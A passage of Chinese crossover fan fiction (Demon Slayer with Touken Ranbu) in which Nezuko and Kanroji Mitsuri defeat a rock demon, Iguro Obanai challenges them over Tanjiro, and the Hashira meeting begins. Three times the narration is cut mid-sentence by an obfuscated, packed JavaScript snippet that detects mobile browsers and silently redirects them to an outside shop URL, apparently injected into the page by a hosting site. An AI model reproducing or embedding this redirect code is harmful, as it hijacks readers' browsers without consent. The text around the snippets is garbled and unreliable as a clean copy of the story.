“好厉害!” 恋柱看着干脆利落出招直接将石头鬼劈成两半的祢豆子发出惊叹。 只是石头鬼很快就恢复原样了。 “哼,小鬼,你们是杀不死我的!”石头鬼不屑地开口,他的防御是最强的,只是会用刀普通人而已,根本对他造成不了根本伤害。 “炎之呼吸——四之型·盛炎漩涡!” 恋柱使用炎之呼吸将石头鬼弹开,收刀入鞘,红粉相间的刀鞘和另一个白色刀鞘的刀锷相撞,发出好听的“叮当”声。 她转身拉住祢豆子后退。 “普通的刀是不能对鬼造成伤害的,呐,小祢豆子用这把刀吧,这是我刚成为鬼杀队队员时得到的刀,用你的力量挥舞这把刀,去尝试和杀人鬼拼搏吧!” 甘露寺蜜璃将手中的刀递给祢豆子。 祢豆子拔出刀,刀锷虽然有些褪色了,但刀身仍然寒光闪闪,这是一把刀身弧度较小的刀。 经过狐之助路上的百科补习,祢豆子已经了解绝大多数刀剑男士和刀剑知识,甘露寺蜜璃递给她的刀看形制正好是一把打刀,和歌仙兼定一样。 似乎和打刀很有缘分呢。 “啊!好像还没有告诉你我的名字,真是太羞愧了!呐呐小祢豆子,我的名字是甘露寺蜜璃,和我一起把这只鬼解决掉吧!”甘露寺蜜璃不好意思地捂嘴脸红,身体不好意思地扭动,像只撒娇的小猫咪。 “甘露寺小姐好可爱!” “啊啊,我吗?太开心了,能被可爱的小祢豆子夸奖,好幸福!我的心脏就快要跳出来了!” 战斗中对话是大忌,但这场战斗不同,鎹鸦和狐之助都在不远处警惕着,祢豆子和甘露寺蜜璃说话时也时刻注意着周围的动静,但石头鬼被甘露寺蜜璃用炎之呼吸弹飞后落在不远处,好像不存在一般呆着那里,也没有任何动静。 “甘露寺小姐,那只怪物?”祢豆子有些担心是不是鬼要蓄力做什么坏事。 “叫我蜜璃就好哦,小祢豆子~那只怪物就是食人鬼,喜欢在路边将自己伪装成岩石,伺机吃掉夜晚的过路人。” “他的防御很难击穿,不过你刚刚‘噌!’地一下就把他劈成两半了,说不定你的攻击对他更有效。” “要不要试试,我来辅助你,‘嗖!’地一下过去,我护着你。” 祢豆子点点头,向石头鬼的方向迅速移动。 石头鬼似乎并没有发现移动的祢豆子,紧闭着双眼,将自己裹成一团更圆的形状。 “刺啦——”祢豆子握着刀往下斩击,刀穿过石头表面仅仅往下移动了半寸。 “哈哈哈臭小鬼,你换的新刀可真钝啊!” 石头鬼被祢豆子的动作吓了一跳,下意识地想躲,没有躲过,发现这次没有像上次把他从中间劈开,于是哈哈大笑,试图挑衅两人,寻找破绽逃走。 祢豆子紧握刀柄的手边又出现一双纤细却充满力量的手。 是甘露寺蜜璃。 “我来帮你!” 甘露寺蜜璃一手顶住刀柄与刀锷连接处,一手握住刀柄祢豆子未握着的地方,青筋像给花果连接营养的枝叶一般在甘露寺蜜璃看似纤细的手臂上绽开。 下一秒,祢豆子感觉手中的刀好像能自己动一般,轻易向下滑动,就像劈开水流一般丝滑。 蜜璃小姐的力气好大,这就是鬼杀队的力量吗? 加入鬼杀队后我也能像蜜璃小姐这样轻松就将食人的恶鬼杀了吗? 祢豆子不知道,但答案或许不久后就会出现。 石头鬼被劈成两半后努力挣扎却怎么也不能将自己拼回去。 “可恶的小鬼!我要杀了你们!” 石头鬼目眦欲裂,瞳孔猛地睁开又剧烈收缩,左边瞳孔张大的那一瞬间,清清楚楚的“下肆”二字竖刻在瞳孔中间。 是下弦鬼,甘露寺蜜璃不自觉抿起嘴,有些担忧。 虽然她之前已经跟下弦鬼打过交道,并且战胜了他,但那一战她在蝶屋整整躺了一个月。 她况且不能全身而退,祢豆子这样的普通人该怎么办呢? 甘露寺蜜璃有些后悔刚刚没有阻止祢豆子过来了。 “该死的臭小鬼,本大爷要让你们瞧瞧我石山丸二的厉害。” 石头鬼将拼不起的身体靠在一处,身上的岩石外壳剧烈震动,原本像是浑然一体的石头外壳开始碎裂。 “主人小心!” “嘎!后退!后退!” 两道警告声同时响起。 狐之助叼扯着祢豆子往树后跑,祢豆子眼疾手快拉着甘露寺蜜璃一块往最粗的那棵树后撤退。 “血鬼术——岩爆!” 碎裂的岩块像暗器一般激射出去,将四周破坏一通。 一轮激烈的碰撞声后,四周目光所及的地方都被破坏一通,地上被岩石砸地坑坑洼洼,树木被石头鬼射出的岩石击倒,只剩粗壮的树得以幸存。 两人从树后探头,石头鬼已经不像石头鬼了。 岩石消失后的石头鬼被拼了起来,但不再是岩石或是圆球状了,此时的石头鬼更像失去长相,只剩眼睛和嘴巴的人形生物,身上像是穿上一身灰白色的没有针脚的贴身连体衣。 祢豆子和甘露寺蜜璃刚一探头就被石头鬼看到,只见石头鬼握紧拳头,刚刚被血鬼术射出的岩石外壳碎片开始抖动,似乎将要进行新的一轮岩爆。 甘露寺蜜璃拉紧祢豆子,准备带她躲过新一轮的岩爆。 岩石碎片漂浮至半空,没有像他们想象中再次射出,而是再次堆叠成圆球形,和之前的圆球形不同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055153|194866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是,这次的圆球形远超之前的大小,并且这次石头鬼的本体在外边。 巨型岩球重重落下,无视地心引力向站在地势较高位置的祢豆子和甘露寺蜜璃滚去。 “啊啊啊——” 甘露寺蜜璃抓起祢豆子就开始跑,岩球在后面紧追不舍。 祢豆子抱着狐之助跟着甘露寺蜜璃跑,鎹鸦在天空中跟随。 “有没有办法啊狐之助?再跑下去我和蜜璃小姐都跑不动了。” “这个这个,这个我查还需要一点时间,需要收集资料才能检测更准确的数字。刚刚我尝试检测了一次这只鬼,只查出了他的血鬼术威力很大,弱点什么的还需要更近距离的解除才行。” “刚刚我就想问了,小祢豆子你的狐狸居然可以说话,和我的鎹鸦小丽一样!它叫狐之助吗?真是可爱的名字。” “是!狐之助很厉害的,我一路走过来就是狐之助告诉我方向的,不然肯定会迷路的!” 两人明明在被岩球追着还能自顾自聊天,让在后面跟着的石头鬼气急败坏。 “可恶啊!岩爆!” 岩球再次碎裂成无数小石头,向四周激射出去,除了石头鬼处无一幸免。 甘露寺蜜璃带着祢豆子将身体扭成不同的样子躲避。 虽然在前几日练习用刀的过程中,祢豆子已经伸展过肌肉了,但比起甘露寺蜜璃的柔韧性还是差了很多。 她吃力地躲避着岩石,躲避不及时甘露寺蜜璃会及时拉她一把帮她躲避岩石。 “小狐之助,你刚刚说想要知道这只鬼的弱点需要靠近是吗?” “没错,甘露寺大人。” “叫我蜜璃就好了!”甘露寺蜜璃冲一人一狐眨眨眼:“我突然想到一个办法。” 身后的岩石碎片再次聚成球形,向两人滚来。 “分开跑!” 随着甘露寺蜜璃话音落下,甘露寺蜜璃向另一个方向跑去。 见岩球没有滚向她的方向,紧紧跟着祢豆子,甘露寺蜜璃加速跑过来,和祢豆子声招呼将狐之助抱走。 “准备好了吗,小狐之助!” “什么?啊——蜜璃大人!” 只见甘露寺蜜璃将狐之助用力抛向石头鬼,因为距离近的原因狐之助很快就到石头鬼身前。 “什么东西?”狐之助被一头雾水的石头鬼接住,一鬼一狐大眼瞪小眼,当然小眼的是鬼。 就在狐之助在石头鬼的眼神逐渐不善的眼神下瑟瑟发抖时,甘露寺蜜璃已经冲到这边,将狐之助从石头鬼身上抱走,顺手抽出祢豆子还给她的刀给了石头鬼一下。 石头鬼的新造型和之前的岩石不同,是近乎牛皮一样的触感,一刀下去却没有任何痕迹。 “这个接触够了吗?小狐之助。” “够了!够了!”狐之助连说话带点头肯定地不得了,生怕甘露寺蜜璃又给它扔过去和鬼面贴面。 甘露寺蜜璃抱着狐之助往还在被岩球追着跑的祢豆子那里跑。 祢豆子边跑边抱过狐之助,呼噜呼噜毛安慰受惊的狐之助。 “抱歉啊小狐之助,时间紧急,等结束了我请你吃樱饼!”甘露寺蜜璃双手合十表示歉意。 “我要吃油豆腐!” “没问题!” “要很多很多的油豆腐!” “我会管饱的!” 狐之助心满意足地用爪子拨弄铃铛开始整合信息。 又经历两轮的岩爆和岩球,在石头鬼失去耐心想要逃跑前,狐之助小声告诉两人石头鬼的弱点。 岩爆过后,岩球还没拼成前,甘露寺蜜璃将身侧一直没有用过的刀拔出,这是一把刃身远比刀鞘要更长的软刀,被拔出后刀刃迅速变成甘露寺蜜璃头发上的粉色。 祢豆子感觉到甘露寺蜜璃的呼吸节奏变了。 “恋之呼吸——贰之型·懊恼巡回之恋!” 8. 第八章 来者不善 “石头鬼使用血鬼术后岩石从他身上脱落,剩下的就是被石胎包裹的本体。石胎非常坚韧,单一用刀划刺只会出现一道刀痕,刀痕在刀离开后就会自动愈合,要想破坏就要让刀一直在石胎上连续不断地从一个地方划刺,一层一层突破石胎的防御才能伤害到这只鬼的本体。” 甘露寺蜜璃立刻想到自己上次对战下弦鬼,在生命危及的时刻领悟出的恋之呼吸。 受制于武器,恋之呼吸没办法发挥全力,大多数情况下她还是会先用更加方便的炎之呼吸。 铁珍先生为此特地出刀匠村来找她,根据恋之呼吸的特性帮她打造了一把武器。 说起来这把武器也是铁珍先生昨天才托人送达到,因为小泉山疑似有十二鬼月出没,柱中她离得最近,所以拿到刀就出发去小泉山了,至今没有拔出过刀。 “这个弱点正好我能突破,真是太幸运了。” 她曾向铁珍先生描述在战斗中因为武器不够长所以要多次不断收刀重复使用招式的繁琐,铁珍先生说他会做出一把她一定喜欢的,也最适合她的刀。 甘露寺蜜璃抽出刀,这把刀刀身柔软,像绸带一样长而柔软,完全适配恋之呼吸缠绵不断的攻击方式。 随着刀身被完全抽出,刀柄被甘露寺蜜璃握紧,和她头发颜色一样的粉色爬上刀身,为刀染上恋之呼吸的甜蜜。 甘露寺蜜璃切换呼吸法,熟悉的力量充满身体,她能感觉到这把刀会发挥恋之呼吸全部的优点,甚至能为恋之呼吸增添威力。 “恋之呼吸——贰之型·懊恼巡回之恋!” 甘露寺蜜璃冲向石头鬼,手中的刀像顺滑的丝绸一般从石头鬼的脖子开始缠绕,随着恋之呼吸的一起一伏,石胎被刀刃破坏,露出脆弱的本体。 “不——”随着石头鬼不甘的吼叫,他的头颅落地。 “该死的臭女人,我会诅咒你的!我会诅咒你的——” 石头鬼消失了。 甘露寺蜜璃呼出一口气,身体放松下来。 “真是一场耗费体力的战斗。” “嘎!击败!击败!蜜璃厉害!厉害!” 鎹鸦飞到甘露寺蜜璃的肩膀上大声夸赞。 甘露寺蜜璃将刀在空中挥舞几下,丝带一样的刀身随着甘露寺蜜璃的动作丝滑地回到刀鞘内。 她听到夸奖不好意思吐舌:“真的嘛,好高兴!” “太好了,蜜璃小姐!”祢豆子也为解决了这只棘手的鬼高兴,被大石头追着的感觉太恐怖了。 随着石头鬼的解决,气氛终于不是那么严肃了,祢豆子和甘露寺蜜璃也有机会好好说话。 甘露寺蜜璃听完祢豆子讲她的家人被杀害的事情心疼地抱住她:“可怜的小祢豆子,竟然遭受了这样的不幸。” “蜜璃小姐,我想带我的哥哥一起加入鬼杀队去保护更多人不被鬼伤害。” “你的哥哥?”甘露寺蜜璃四处张望,确认周围没有第三个人。 “我的哥哥不幸被变成了鬼。” 看着甘露寺蜜璃骤然变了脸色欲言又止的脸,祢豆子连忙解释:“哥哥他没有伤害过人的,我回家时哥哥好像刚被变成鬼,一直在昏睡。刚醒来时确实有攻击行为,但很快就认出我恢复理智了。” “我一直和哥哥待在一起,他真的没有伤害过别人,我可以用我的性命保证!” 甘露寺蜜璃手忙脚乱地安慰快要哭出来的祢豆子:“我相信你,真的!我相信小祢豆子不会说谎的。” “但是像带鬼进入鬼杀队这是前所未闻的事,为了主公的安全我要先向主公汇报。” “啊,信纸,信纸在哪?找到了!”甘露寺蜜璃慌乱地翻身上的口袋,翻出信纸后拿笔开始写。 “我现在就向主公汇报这只鬼和你的事情,等得到主公的回信前,我会找一个好地方安顿你的!” 甘露寺蜜璃向祢豆子保证。 小丽带着祢豆子的希望飞向远方。 “小祢豆子,我可以看看你哥哥现在的样子吗?”担心祢豆子会害怕自己伤害她哥哥,甘露寺蜜璃还保证自己在她哥哥做出伤人的举动前是不会随意动手的。 祢豆子拿起腰间的盒子打开给甘露寺蜜璃看。 “这就是我的哥哥炭治郎。” “啊,好小一只!” 炭治郎还在盒子里沉睡,像是做着什么好梦一般嘴角微张,属于鬼的尖齿露出一点,彰显着他鬼的身份。 “确实是鬼的气息,不过没有鬼的恶臭味,我相信你。” 甘露寺蜜璃看着翻了个身的炭治郎,眼睛瞬间亮起来:“好可爱!小祢豆子,炭治郎是怎么变得这么小的呀,是他的血鬼术吗?” “我也不太清楚。”祢豆子挠了挠头,“听狐之助说哥哥他是自己感觉自己可以变小,所以就变得到这么小。” “好神奇!” “甘露寺小心!” 一道蜿蜒的弧击从远处袭来。 “蛇之呼吸——贰之型·狭头之毒牙!” 祢豆子下意识拔刀挡下攻击,刀和刀相撞时,甘露寺蜜璃的刀已经缠上了对方的刀身。 “这是误会,伊黑先生!” 来人正是蛇柱——伊黑小芭内。 伊黑小芭内收回攻击的动作,但仍保持警惕。 “甘露寺,不要被人骗了,盒子里面有鬼的气息。” 异色双瞳紧盯也作出防御姿态的祢豆子。 “和鬼勾结的人类最是狡猾,他们会用人类的身份又骗你,在你失去防备时对你下手,再让鬼吃了你。” “不是的,这是我的哥哥,他只是变成鬼了,他没有伤害别人!”祢豆子试图解释,“哥哥从变成鬼后一直在沉睡,他没有伤害过人。” “你说没有伤害就没有了?” 甘露寺蜜璃夹在中间左右为难,她试图给伊黑小芭内解释,伊黑小芭内却认定她被蒙骗了。 狐之助爬到祢豆子耳边悄声说道:“这就是那剩余的11%和1%。” 祢豆子恍然大悟,蜜璃小姐选择相信她,但是随后赶来的这个人不会相信他。正是会出现这个人才让她进队时有了一层阻碍。 但祢豆子其实一直很清楚,鬼杀队的人大多都是被鬼伤害后才选择加入鬼杀队的,对于变成鬼的哥哥不信任是肯定的,不如说能立刻选择相信自己的蜜璃小姐才是少数。 能先认识蜜璃小姐真是很幸运啊。 另一边怎么解释伊黑小芭内都不听的甘露寺蜜璃也没有办法,她想了想拉起祢豆子就跑。 边跑边回头喊:“抱歉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055154|194866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了伊黑先生!等主公对祢豆子的情况作出答复后我会再当面给你道歉的!” 又一轮被追逐的跑步大赛开始了,甘露寺蜜璃和祢豆子经过石头鬼后对被追这件事显得游刃有余,虽然祢豆子的体力还跟不上,但有甘露寺蜜璃拉着也省力不少,到了后边她几乎是像风筝一样被甘露寺蜜璃拽着飞,同样在飞的还有紧紧勾住祢豆子衣服放在自己被吹飞的狐之助。 伊黑小芭内早就不知道被甩到哪里了。 “呼——呼——”甘露寺蜜璃终于停了下来,站在一处房子门前喘气。 里面的人听到动静后开门把他们接了进去。 祢豆子没有哪一刻比这一刻更相信蜜璃小姐是信任她和她的哥哥了。 因为蜜璃小姐带她来的地方是她的家里。 有着很爱她的父母和四个弟妹的甘露寺蜜璃让她想到了自己的家人。 祢豆子也有四个姊妹,哥哥是哥哥,她是姐姐,竹雄、六太、花子、茂是弟妹,她也有很爱她的父母。 是鬼舞辻无惨毁了这一切! “小祢豆子?小祢豆子?”甘露寺蜜璃看着发呆的祢豆子担忧地喊。 祢豆子回过神对甘露寺蜜璃笑笑:“我没事,只是突然想到蜜璃小姐真是好厉害。” “诶呀,总是夸我我也会不好意思的。” 脸上分明是说多夸我。 “蜜璃小姐总是夸别人可爱什么的,明明蜜璃小姐自己才是最可爱的吧。” 甘露寺蜜璃被夸得整个人都在冒花花,高兴地拉着祢豆子去自己的卧室吃小点心。 “这是我妈妈做的樱饼,超级好吃的!小祢豆子你快尝尝!”甘露寺蜜璃搬上来两桌点心,把祢豆子的嘴巴塞得满满的。 狐之助在一旁大口吃着甘露寺蜜璃特地给它准备的油豆腐。 盛情难却呀。 “还有这个!”甘露寺蜜璃又搬上一桌红褐色的点心,“这是牡丹饼,是妹妹做的,特别好吃,连不死川先生尝了也好好地收下了。” “噗——咳咳。”狐之助听到牡丹饼这三个字一事激动被还没吃完的樱饼哽住。 甘露寺蜜璃赶紧给狐之助倒水,祢豆子拍狐之助的背部帮它下咽。 “呼——”终于顺下去的狐之助耸拉着耳朵感叹,“牡丹饼,恐怖如斯啊。” 甘露寺蜜璃和祢豆子面面相觑,不明白狐之助在说什么,它明明吃的是樱饼不是牡丹饼。 面对祢豆子的疑惑,狐之助小声说:“等以后你到时之政府培训的时候,看到宣传片就知道了。” 大概是和刀剑男士有关,祢豆子心想。 一边的蜜璃已经忘记刚刚的疑惑开心地继续吃点心了。 没一会儿,甘露寺蜜璃就吃完了点心,开心地抱着肚子感叹:“樱饼真的太好吃了,我还想吃!” “蜜璃。”甘露寺夫人敲门进来。 甘露寺蜜璃眼睛亮起来:“妈妈!我还想吃樱饼!” “好,厨房应该还有,一会儿招待新客人时我去拿给你吧。” “新客人?” “是个男生哦,他说自己叫伊黑小芭内,是你的同事,好像有事找你。” 甘露寺蜜璃捂住脸。 糟了,忘记伊黑先生知道她家地址了。 9. 第九章 九柱 甘露寺宅内暗流涌动。 祢豆子把炭治郎所呆的木盒紧紧握在手里,紧盯着木盒,脊背微曲,紧绷着身体,防止意外发生。 狐之助紧紧贴在祢豆子身边,吻部轻轻靠着她的衣服,时刻准备在他们跑路的第一时间叼紧祢豆子的衣服。 甘露寺蜜璃紧紧地埋着头,不安地绞扭着手指,汗不停地往外冒。 耳边只听到对面人“嘟,嘟,嘟”有节奏的用手指敲击桌面的声音。 “咚咚。”甘露寺夫人敲门进来,“蜜璃,我把樱饼拿过来了,这次是超大份的哦。” “谢谢妈妈!”甘露寺蜜璃猛地抬头,像是看到了救命恩人。 “诶呀诶呀,不客气,记得好好招待客人呀。”甘露寺夫人慈爱地看着独自坐在一边的少年,“我家蜜璃在鬼杀队真是有劳您照顾了,如果她有什么做的不妥当地地方还请先听听她的理由吧。蜜璃是个好孩子,只要好好地跟她讲道理,她会知道应该怎该么做的。” “我知道了,谢谢您的款待。” 甘露寺夫人点点头,随后出去前把门关上。 室内又恢复成之前的安静。 不知过了多久,甘露寺蜜璃终于忍不住地抬头,想瞥一眼对面人的表情,刚一抬眼就和他对上视线。 甘露寺蜜璃一激灵,不管不顾地道歉:“真的很抱歉,伊黑先生!但是我真的不能让你随便就对小祢豆子的哥哥下手!” 伊黑小芭内没有说什么,他停止手上的动作,指了指桌上的樱饼:“这个,不吃吗?” 他脸上没有什么表情,和平时一样的态度。 看来是能暂时和平相处,听一听她们的理由了。 “吃!”甘露寺蜜璃如获大赦,刚刚流出的汗化作食欲对樱饼痛下杀手,没一会就吃得嘴里满满当当。 冷淡的伊黑先生好迷人。 甘露寺蜜璃边吃樱饼边偷偷看伊黑小芭内。 伊黑小芭内看着开心吃樱饼的甘露寺蜜璃,眼神不禁柔和许多,他静静看着甘露寺蜜璃吃樱饼,没有在意一旁的祢豆子。 祢豆子也放松下来,伊黑小芭内的态度应该是不会对哥哥下手了,接下来只要能说服他,带哥哥一起进鬼杀队的事情说不定就真的可以了。 随着甘露寺蜜璃和樱饼的战斗结束,伊黑小芭内终于舍得把视线分给祢豆子一些。 “说吧,你用什么理由哄骗甘露寺的。” “伊黑先生,我没有被哄骗!”甘露寺蜜璃急忙解释。 “我知道了,说吧,你的理由。” 祢豆子深吸一口气,开始向伊黑小芭内讲述家人被鬼舞辻无惨杀害的事情。 “鬼舞辻无惨!”甘露寺蜜璃惊讶地捂嘴,“这不是主公说的鬼王的名字吗?” 伊黑小芭内也紧盯着祢豆子,脖子上的围巾开始流动,缓缓地从侧边出现一只白色的蛇头,是伊黑小芭内的从小的玩伴——镝丸。 镝丸感受到朋友剧烈起伏的情绪,从冬眠中惊醒,盯着看对面的人。 “是的,就是鬼舞辻无惨,哥哥说对方借宿时用的就是这个名字。” 大概是休息的时候恢复的记忆,哥哥醒来后的某一晚告诉了她那天晚上的事情。 假装过路人的鬼舞辻无惨深夜来灶门家借宿,家中只有妈妈和弟弟妹妹们,本来妈妈是不打算开门的,刚好这时炭治郎回来了,有了长男在,妈妈才放心让鬼舞辻无惨留宿,还收拾好了另一间屋子,没想到却被鬼舞辻无惨突然发难。 “你怎么才能证明你的哥哥炭治郎作为鬼,没有吃过任何人,以后也不会吃掉任何人?”伊黑小芭内沉吟几秒问。 “我能用我的生命保证!” “你的生命挽回不了被吃掉的人。” 祢豆子着急地辩解:“哥哥他不会那样做,我也会一直和哥哥待在一起,如果哥哥真的控制不住自己,我会出手阻止他的。” “如果你阻拦不及时呢?” “不会的!” 单一的否认苍白无力。 有的时候事实才是最好的肯定。 “叩叩叩。”敲门声从手中响起,盒子前特质的内外可开门从里面打开,迷你炭治郎努力从里面往外边爬。 祢豆子赶紧伸手把哥哥从盒子里面拎出来放在桌上。 “确实比一般鬼的气息要淡不少。”伊黑小芭内看着迷你炭治郎,话音一转,“会变小的鬼说不定对隐藏气息也很擅长。” “你好,我是灶门炭治郎,我真的不会伤害人类的。”炭治郎努力向伊黑小芭内显示自己的友好,没注意从身后探出的手。 甘露寺蜜璃戳了戳变小后显得娇小可爱的炭治郎:“我想过盒子里的炭治郎君很小,却没想过这么小,好可爱。” 有什么气息好像沉了一些。 镝丸感受到朋友的略低一些的气压和直勾勾盯着桌上人的眼神,“嘶”地张大嘴巴,好像一口就能吞掉变小的炭治郎。 炭治郎吓得猛退,没想到镝丸只是吓吓他,张完嘴就又退回伊黑小芭内脖子上。 祢豆子也放心地收回刚刚准备阻止的刀柄。 手柄处传来歌仙兼定的情绪,有一道声音传进祢豆子脑中:“真是不风雅,需要我出来帮忙吗?主人。” 看周围人没有丝毫异样的神情,祢豆子明白歌仙兼定话话应该只她听到了,她尝试在心里回答:“暂时不用,我相信哥哥。” 刀身震动一下表面自己知道了。 桌子上炭治郎和伊黑小芭内的对话还在继续,甘露寺蜜璃夹在中间双眼放光地看着炭治郎。 不要小瞧萌物对人类的诱惑啊喂! 眼见伊黑小芭内的脸上越来越黑,狐之助觉得到了自己出场的时候了。 “啊哝,或许我们可以等一下鬼杀队当主的消息呢?我能感应到消息马上就到了。” “会说话的狐狸?”伊黑小芭内这才注意到这只一直跟着甘露寺蜜璃的狐狸,感觉和鎹鸦很像。 “我是狐之助,是这位可爱的小姐的助手。” 伊黑小芭内的眼神顺着狐之助的指向轻飘飘划过祢豆子的脸。 “哦。” 不能生气,不能生气,这是个恋柱脑,对待脑子一根筋的人要宽容,我可是伟大的狐之助! “嘎!嘎!”远处传来鎹鸦的声音,是丽回来了。 甘露寺蜜璃拆开丽带回的信不可置信地说:“主公让我们带祢豆子和炭治郎去宅邸。” “什么?”伊黑小芭内接过信件,上上下下仔仔细细看了好几遍才复杂地说:“主公竟然早就已经知道出现了这样的鬼。不愧是主人大人。” 一行人在甘露寺家修整一日,第二日夜间隐带着蒙住眼睛的祢豆子和狐之助,在祢豆子和甘露寺蜜璃的再三保证下,祢豆子被允许将装有炭治郎的小盒子放在身上。 黑暗中不知被带着走了多久,背着她的人突然停下将她放下,祢豆子感受到有好几条令人倍感压力的视线凝聚在她身上。 眼前层层包裹的黑色布 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055155|194866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条被隐取下,世界回到祢豆子眼中。 不远处有一道强烈的视线盯着祢豆子,视线中的恶意让祢豆子毛骨悚然。 好可怕的人。 布满疤痕的手臂和身体,脸上更是一条几乎贯穿整张脸的疤痕。 是因为鬼才这样的吗? 被鬼伤害后死里逃生的人真的能接受鬼吗? 不。祢豆子用力摇摇头,把这种思想从脑袋中赶出去。 要相信哥哥,哥哥是不一样的。 “喂甘露寺,这就是藏着鬼的人吗?”刀疤男把视线从祢豆子身上移到甘露寺蜜璃身上,“居然还要劳烦主公为这种人费心。” 刀疤男拔出刀,“恶鬼灭杀”四个字跟着光影晃动:“对这种人就应该直接把她扔一边先把鬼消灭了再跟她说话。” 说完又指了指自己的头:“毕竟,和鬼同行的人多半脑子有问题,不顾别人的性命放任鬼吃人的家伙,和杀人有什么区别!” “我赞成你说的后半段话哦,不死川先生。但人和鬼说不定能和平相处呢,万一这位小姐说的是真的呢?”不远处穿着白色渐变绿粉色羽织,带着紫色蝴蝶发饰的小个子女生笑眯眯地说。 她说完友好地冲祢豆子笑了笑:“你好,我是蝴蝶忍,如果你说的是真的,我会很开心的。我一直都很希望能够出现和人类和平相处的鬼。” 蝴蝶忍对祢豆子很友好,祢豆子却觉得她身上散发出的气息隐隐只比那位刀疤男,或者说不死川先生稍低一点。 其他的气息大多令她感到不适,或者说让她向把手里的盒子藏起来的冲动,只是不死川先生和蝴蝶小姐更重一些。 唯二没有什么感觉的就是蜜璃小姐和站在最边缘发呆的少年了,他看着天空发呆,眼神没有焦距,自然让祢豆子也没有什么压力。 “和鬼相处刻不是什么华丽的事情啊。”扛着大刀脸上画了红色妆容带着宝石做的护额的男人总门口走来,他低头看着祢豆子和她手中的盒子,巨大的身影覆盖住祢豆子的身体,显得有压迫感极了,“盒子里面就是鬼吗?看起来挺弱的,说不定真没吃过几个人。” “南无阿弥陀佛,正是因为没吃过几个人才会变得这么虚弱,若是得了机会,会让不少无辜的人被害。”一直坐在中间的浑身都是肌肉的僧人双手合十眼泪从眼中不断滑落,似乎一想到将要被害死的人就感到悲伤。 “正是如此!”洪亮的嗓音从旁边传来,鲜艳的金红色头发的男人对着祢豆子大声说道,“少年,早日觉悟吧!” “主公大人还没出来,还是听听主公大人的意见吧,你说呢,一直站在那边的富冈,你是对主公有意见吗?为何一个人待在那里。”伊黑小芭内虽然对祢豆子也很有意见,但主公毕竟已经下命令将他们带过来了,质疑祢豆子就是质疑主公,也是质疑将祢豆子的事情告诉主公的甘露寺。 当然了,从一来就站在一边假装自己不在的富冈义勇更是可恶。 “我和你们不一样。”富冈义勇不咸不淡地说完继续发呆。 好像有两个人头上的青筋爆出来了,祢豆子想。这会儿虽然大家都在说着对她和哥哥的不满,不过看情况是不会轻易动手了,这让祢豆子暂时放下心来,也有空观察这个庭院的人。 狐之助趴在祢豆子肩膀上小声告诉她这庭院里面的人的身份。 甘露寺蜜璃还在浑身冒花花的看着所有人。 这时身着紫衣的两个孩子扶着一个人出来了。 “主公大人到——” 10. 第十章 柱合会议 “主公大人到——” 刚才还剑拔弩张的氛围顿时消除,所有人都恭敬地向缓步而来的男人行礼。 祢豆子有些好奇地偷偷抬头,想看看这个因鬼舞辻无惨而被诅咒而疾病缠身却能以一己之力撑起鬼杀队数千年来对抗鬼舞辻无惨的家族的当主。 男人看起来年岁并不大,二十左右的年纪,气质却显得很老成。 他被一黑一白头发的两个孩子搀扶着缓步走来,步履间虽然稍显虚弱却还能够正常走路,与狐之助形容的大战后期卧病在床几乎不能起身相去甚远。 五年竟能让一个人病到那种地步,鬼舞辻无惨的罪孽让别人承担真的公平吗? 产屋敷耀哉感受到祢豆子的眼神,温柔地看向她,紫色的双瞳像是盛满了紫藤花一般漂亮,却被左眼眼尾的狰狞咒疤破坏。 突如其来的对视让祢豆子猛地低头,正当她担心这样是否冒犯了鬼杀队当主时,对方开口了。 “我可爱的孩子们,能再次看到你们,我很开心。” “这次提前召集柱合会议是为了灶门祢豆子和她变成鬼的家人灶门炭治郎加入鬼杀队的事。” “对此,你们有什么意见吗?” “主公大人,我坚决反对这件事,鬼绝不可信。”风柱不死川实弥率先反对。 “南无,主公大人我也不赞成,变成鬼的人就不是人了,只有尽快杀了他才能尽快解脱鬼的身份,早日在地狱里赎清罪孽。” “我赞成不死川的话,少年早日觉悟吧!” “我认为还是应该华丽地消灭这只鬼才对。” “虽然我也不赞成留下带着鬼的人,但如果能像她说的一样,这只鬼真的没有吃过人,或许可以再多考虑一下。” 终于出现了不同的声音,祢豆子感激地看向蝴蝶忍,对方对她回以微笑。 “我也认为可以再考虑这件事。”一个意想不到的人开口了。 伊黑小芭内无视祢豆子和其他柱惊讶的眼神,继续说:“我认为灶门祢豆子所说的,这只鬼没有吃过人,并且没有攻击的行为是真的。” 